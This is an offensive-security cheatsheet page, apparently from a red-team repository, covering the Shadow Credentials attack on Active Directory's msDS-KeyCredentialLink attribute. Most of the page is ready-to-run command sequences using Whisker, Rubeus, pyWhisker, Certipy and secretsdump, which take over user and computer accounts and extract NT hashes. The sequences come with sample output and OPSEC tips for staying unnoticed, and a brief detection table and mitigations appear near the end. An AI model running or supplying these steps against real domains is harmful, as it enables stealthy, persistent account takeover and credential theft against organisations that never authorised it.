daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-25-shadow-credentials-attack-msds-keycredentiallink.md (8112B)


      1 ---
      2 title: "Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink)"
      3 description: "Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute β€” originally…"
      4 category: active-directory
      5 subcategory: "ACL Abuse"
      6 tags: ["active-directory", "kerberos", "adcs", "persistence", "hashing"]
      7 tools: ["Impacket", "Rubeus", "Certipy", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟑 Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink).md"
     11 ---
     12 # 🟑 Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink)
     13 
     14 ***
     15 
     16 ## πŸ“– How It Works
     17 
     18 Shadow Credentials is one of the **stealthiest account takeover techniques** in Active Directory. It abuses the `msDS-KeyCredentialLink` attribute β€” originally designed for **Windows Hello for Business (WHfB)** β€” to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via **PKINIT** (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target's password.
     19 
     20 ### Why Shadow Credentials is Superior to Password Reset
     21 
     22 | Aspect | Password Reset | Shadow Credentials |
     23 |---|---|---|
     24 | **Target notices?** | βœ… Yes β€” locked out immediately | ❌ No β€” original password still works |
     25 | **Persistence** | One-time β€” target resets back | Persistent β€” survives password changes |
     26 | **Detection** | Event 4724 β€” well-known | Event 5136 β€” less commonly monitored |
     27 | **Prerequisite** | ForceChangePassword / GenericAll | GenericWrite / GenericAll / WriteDACL on target |
     28 | **OPSEC** | Low | High |
     29 
     30 ### Requirements
     31 
     32 - **ADCS deployed** (or at least PKINIT enabled in the domain)
     33 - **Domain functional level 2016+** (for `msDS-KeyCredentialLink` attribute)
     34 - **Write access to target's `msDS-KeyCredentialLink`** (GenericWrite, GenericAll, or explicit write)
     35 
     36 ***
     37 
     38 ## βš™οΈ Prerequisites
     39 
     40 | Requirement | Detail |
     41 |---|---|
     42 | **Write access to msDS-KeyCredentialLink** | GenericWrite, GenericAll on target user/computer |
     43 | **PKINIT / ADCS in environment** | Domain must support certificate-based auth |
     44 | **Domain functional level 2016+** | Attribute doesn't exist on older schemas |
     45 
     46 ***
     47 
     48 ## πŸ› οΈ Tools
     49 
     50 | Tool | Platform | Notes |
     51 |---|---|---|
     52 | **Whisker** | Windows | Add/remove/list shadow credentials |
     53 | **pyWhisker** | Linux | Python implementation |
     54 | **Certipy** | Linux | `shadow auto` β€” automated full chain |
     55 | **DSInternals** | Windows/PowerShell | `Set-DomainObject` key credential manipulation |
     56 | **Rubeus** | Windows | PKINIT authentication with the shadow cert |
     57 
     58 ***
     59 
     60 ## πŸ’» Full Commands
     61 
     62 ### πŸ”΄ Whisker (Windows)
     63 
     64 ```powershell
     65 # ── Add shadow credential to target user ──────────────────────────────────────
     66 .\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local
     67 
     68 # Output:
     69 # [*] No existing DeviceCredentials found
     70 # [*] Generated key pair
     71 # [*] DeviceID: a1b2c3d4-...
     72 # [*] Adding KeyCredential
     73 # [*] Use Rubeus with the following command:
     74 # Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt
     75 
     76 # ── Run the outputted Rubeus command ──────────────────────────────────────────
     77 .\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \
     78   /password:<password_from_whisker> /ptt /getcredentials
     79 
     80 # Output includes NT hash via U2U
     81 
     82 # ── List existing shadow credentials ──────────────────────────────────────────
     83 .\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local
     84 
     85 # ── Remove shadow credential (cleanup) ────────────────────────────────────────
     86 .\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \
     87   /domain:corp.local /dc:DC01.corp.local
     88 ```
     89 
     90 ### πŸ”΄ pyWhisker (Linux)
     91 
     92 ```bash
     93 # ── Add shadow credential ────────────────────────────────────────────────────
     94 python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
     95   --target targetadmin --action add --dc-ip 10.10.10.10
     96 
     97 # Output: PFX certificate file and password
     98 
     99 # ── Authenticate with the certificate ─────────────────────────────────────────
    100 certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10
    101 # Returns TGT + NT hash
    102 
    103 # ── List ──────────────────────────────────────────────────────────────────────
    104 python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
    105   --target targetadmin --action list --dc-ip 10.10.10.10
    106 
    107 # ── Remove ────────────────────────────────────────────────────────────────────
    108 python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
    109   --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10
    110 ```
    111 
    112 ### πŸ”΄ Certipy Shadow Auto (Easiest β€” Linux)
    113 
    114 ```bash
    115 # ── Full automated chain β€” add key, auth, get hash ───────────────────────────
    116 certipy shadow auto -u low_user@corp.local -p 'Password1' \
    117   -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local
    118 
    119 # Output:
    120 # [*] Saved PFX to 'targetadmin.pfx'
    121 # [*] Got TGT for 'targetadmin@corp.local'
    122 # [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
    123 ```
    124 
    125 ### πŸ”΄ Shadow Credentials on Computer Objects
    126 
    127 ```bash
    128 # ── Works on computer objects too (compromise the machine) ────────────────────
    129 certipy shadow auto -u low_user@corp.local -p 'Password1' \
    130   -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local
    131 
    132 # Use the machine's NT hash to:
    133 # - Silver Ticket to services on that machine
    134 # - SecretsDump for local SAM/LSA
    135 secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \
    136   -hashes :2b576acbe6bcfda7294d6bd18041b8fe
    137 ```
    138 
    139 ***
    140 
    141 ## 🎯 OPSEC Tips
    142 
    143 - **Shadow Credentials persist across password changes** β€” the key credential remains valid even after target changes their password
    144 - **Always clean up** β€” remove the DeviceID from `msDS-KeyCredentialLink` after extracting the hash/TGT
    145 - **Shadow Credentials fail if WHfB is not enabled** and there's no ADCS β€” PKINIT must be supported
    146 - **Computer objects work too** β€” you can Shadow Credential a computer to get its machine account hash
    147 - **Most OPSEC-friendly takeover** β€” the target user notices nothing; their password still works
    148 
    149 ***
    150 
    151 ## πŸ›‘οΈ Detection β€” Event IDs
    152 
    153 | Event ID | Source | What to Look For |
    154 |---|---|---|
    155 | **5136** | Security Log (DC) | Modification of `msDS-KeyCredentialLink` attribute |
    156 | **4768** | Security Log (DC) | TGT request via PKINIT (Pre-Auth Type 16) β€” certificate-based auth for a non-smart-card user |
    157 
    158 ***
    159 
    160 ## πŸ”— Attack Chain Context
    161 
    162 ```
    163 [Shadow Credentials] ──→ Stealthy Account Takeover Without Password Change
    164          β”‚
    165          β”œβ”€β”€β†’ πŸ”‘ Write msDS-KeyCredentialLink β†’ auth as target via PKINIT
    166          β”œβ”€β”€β†’ πŸ”’ Survives password changes β€” persistent until key is removed
    167          β”œβ”€β”€β†’ πŸ’» Works on users AND computers
    168          β”œβ”€β”€β†’ πŸ”— Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21)
    169          └──→ πŸ’€ Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused
    170 ```
    171 
    172 ***
    173 
    174 > βœ… **Attack #25 β€” Shadow Credentials complete.**